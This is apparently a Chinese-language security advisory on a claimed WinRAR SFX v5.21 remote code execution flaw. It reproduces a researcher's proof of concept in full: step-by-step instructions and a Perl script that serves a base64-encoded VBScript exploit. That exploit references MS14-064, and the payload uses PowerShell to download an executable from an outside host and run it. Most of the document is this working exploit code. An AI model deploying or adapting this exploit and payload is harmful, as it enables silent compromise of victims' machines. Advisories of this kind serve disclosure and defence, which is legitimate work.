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安全漏洞
WinRAR SFX v5.21远程代码执行漏洞
发布日期：2015-10-05
更新日期：2015-10-08
受影响系统：
WinRar WinRar 5.21描述：
WinRAR是一款非常流行的压缩/解压工具。
WInRAR SFX v5.21，Text to display in SFX window模块的Text and Icon功能存在远程代码执行安全漏洞，远程攻击者用带恶意负载的压缩包利用此漏洞，成功后可执行特定的系统代码，破解系统、网络或设备。
<*来源：VULNERABILITY LABORATORY （research@vulnerability-lab com）
Mohammad Reza Espargham
链接：http://seclists.org/fulldisclosure/2015/Sep/106
*>
测试方法：
警 告
以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！
interaction.
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to
continue.
Manual steps to reproduce the vulnerability ...
1. Run perl code : perl poc.pl
2. Right Click on any file and select "add to archive..."
3. Select "Create SFX archive"
4. Go to the Advanced Menu and select "SFX options..."
5. Go to the "Text and icon" Menu
6. Copy this perl output (HTML) and past on "Text to display in SFX window"
7. Click OK -- OK
8. Your SFX file Created
9. Just open sfx file
10. Your Link Download/Execute on your target
11. Successful reproduce of the code execution vulnerability!
PoC: Exploit Code
#!/usr/bin/perl
# Title : WinRaR SFX - Remote Code Execution
# Affected Versions: All Version
# Tested on Windows 7 / Server 2008
#
# Author: Mohammad Reza Espargham
# Linkedin: https://ir.linkedin.com/in/rezasp
# E-Mail: me[at]reza[dot]es , reza.espargham[at]gmail[dot]com
# Website: www.reza.es
# Twitter: https://twitter.com/rezesp
# FaceBook: https://www.facebook.com/reza.espargham
#
# ID: MS14-064
use strict;
use warnings;
use IO::Socket;
use MIME::Base64 qw( decode_base64 );
use Socket 'inet_ntoa';
use Sys::Hostname 'hostname';
print " Mohammad Reza Espargham\n\n";
my $ip = inet_ntoa(scalar gethostbyname(hostname() || 'localhost'));
my $port = 80;
print "Winrar HTML Code\n".'<html><head><title>poc</title><META http-equiv="refresh" content="0;URL=http://' . $ip .
'"></head></html>'."\n\n" if($port==80);
print "Winrar HTML Code\n".'<html><head><title>poc</title><META http-equiv="refresh" content="0;URL=http://' . $ip .
':' . $port . '"></head></html>'."\n\n" if($port!=80);
my $server = new IO::Socket::INET( Proto => 'tcp',
LocalPort => $port,
Listen => SOMAXCONN,
ReuseAddr => 1)
or die "Unable to create server socket";
# Server loop
while(my $client = $server->accept())
{
my $client_info;
while(<$client>)
{
last if /^\r\n$/;
$client_info .= $_;
}
incoming($client, $client_info);
}
sub incoming
{
print "\n=== Incoming Request:\n";
my $client = shift;
print $client &buildResponse($client, shift);
close($client);
}
sub buildResponse
{
my $client = shift;
my $client_info = shift;
my $poc="CjxodG1sPgo8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPUVt
dWxhdGVJRTgiID4KPGhlYWQ+CjwvaGVhZD4KPGJvZHk+CiAKPFNDUklQVCBMQU5HVUFHRT0iVkJT
Y3JpcHQiPgoKZnVuY3Rpb24gcnVubXVtYWEoKSAKT24gRXJyb3IgUmVzdW1lIE5leHQKc2V0IHNo
ZWxsPWNyZWF0ZW9iamVjdCgiU2hlbGwuQXBwbGljYXRpb24iKQpjb21tYW5kPSJJbnZva2UtRXhw
cmVzc2lvbiAkKE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XZWJDbGllbnQpLkRvd25sb2FkRmlsZSgn
aHR0cDovL3RoZS5lYXJ0aC5saS9+c2d0YXRoYW0vcHV0dHkvbGF0ZXN0L3g4Ni9wdXR0eS5leGUn
LCdsb2FkLmV4ZScpOyQoTmV3LU9iamVjdCAtY29tIFNoZWxsLkFwcGxpY2F0aW9uKS5TaGVsbEV4
ZWN1dGUoJ2xvYWQuZXhlJyk7IgpzaGVsbC5TaGVsbEV4ZWN1dGUgInBvd2Vyc2hlbGwuZXhlIiwg
Ii1Db21tYW5kICIgJiBjb21tYW5kLCAiIiwgInJ1bmFzIiwgMAplbmQgZnVuY3Rpb24KPC9zY3Jp
cHQ+CiAKPFNDUklQVCBMQU5HVUFHRT0iVkJTY3JpcHQiPgogIApkaW0gICBhYSgpCmRpbSAgIGFi
KCkKZGltICAgYTAKZGltICAgYTEKZGltICAgYTIKZGltICAgYTMKZGltICAgd2luOXgKZGltICAg
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bigpCiAKZnVuY3Rpb24gQmVnaW4oKQogIE9uIEVycm9yIFJlc3VtZSBOZXh0CiAgaW5mbz1OYXZp
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IHRoZW4gCiAgICAgICAgICAgICBpbnRWZXJzaW9uID0gQ0ludChNaWQoaW5mbywgSW5TdHIoaW5m
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ICAgICAgICAgIAogIGVuZCBpZgogCiAgd2luOXg9MAogCiAgQmVnaW5Jbml0KCkKICBJZiBDcmVh
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IE5leHQKICAgICBpPXRlc3RhYQogICAgIGk9bnVsbAogICAgIHJlZGltICBQcmVzZXJ2ZSBhYShh
MikgIAogICAKICAgICBhYigwKT0wCiAgICAgYWEoYTEpPWkKICAgICBhYigwKT02LjM2NTk4NzM3
NDM3ODAxRS0zMTQKIAogICAgIGFhKGExKzIpPW15YXJyYXkKICAgICBhYigyKT0xLjc0MDg4NTM0
NzMxMzI0RS0zMTAgIAogICAgIG15ZGF0YT1hYShhMSkKICAgICByZWRpbSAgUHJlc2VydmUgYWEo
YTApICAKZW5kIGZ1bmN0aW9uIAogCiAKZnVuY3Rpb24gc2V0bm90c2FmZW1vZGUoKQogICAgT24g
RXJyb3IgUmVzdW1lIE5leHQKICAgIGk9bXlkYXRhKCkgIAogICAgaT1ydW0oaSs4KQogICAgaT1y
dW0oaSsxNikKICAgIGo9cnVtKGkrJmgxMzQpICAKICAgIGZvciBrPTAgdG8gJmg2MCBzdGVwIDQK
ICAgICAgICBqPXJ1bShpKyZoMTIwK2spCiAgICAgICAgaWYoaj0xNCkgdGhlbgogICAgICAgICAg
ICAgIGo9MCAgICAgICAgICAKICAgICAgICAgICAgICByZWRpbSAgUHJlc2VydmUgYWEoYTIpICAg
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ICAgICAgICAgSWYoSXNPYmplY3QoYWEoYTEpKSA9IEZhbHNlICkgVGhlbiAgICAgICAgICAgICAK
ICAgICAgICAgICAgICAgICAgIHR5cGUxPVZhclR5cGUoYWEoYTEpKQogICAgICAgICAgICAgICAg
IGVuZCBpZiAgICAgICAgICAgICAgIAogICAgICAgICAgICAgIGVuZCBpZgogICAgICAgICAgIGVs
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bmQgaWYKICAgICAgICBlbmQgaWYKICAgIGVuZCBpZgogICAgICAgICAgICAgICAKICAgICAKICAg
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KSAKICAgIE9uIEVycm9yIFJlc3VtZSBOZXh0CiAgICByZWRpbSAgUHJlc2VydmUgYWEoYTIpICAK
ICAgCiAgICBhYigwKT0wICAgCiAgICBhYShhMSk9YWRkKzQgICAgIAogICAgYWIoMCk9MS42OTc1
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KDApPTAKICAgIHJlZGltICBQcmVzZXJ2ZSBhYShhMCkKZW5kIGZ1bmN0aW9uCiAKPC9zY3JpcHQ+
CiAKPC9ib2R5Pgo8L2h0bWw+";
$poc = decode_base64($poc);
my $r = "HTTP/1.0 200 OK\r\nContent-type: text/html\r\n\r\n
$poc";
return $r;
}
建议：
厂商补丁：
WinRar
------
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：
http://www.win-rar.com/start.html
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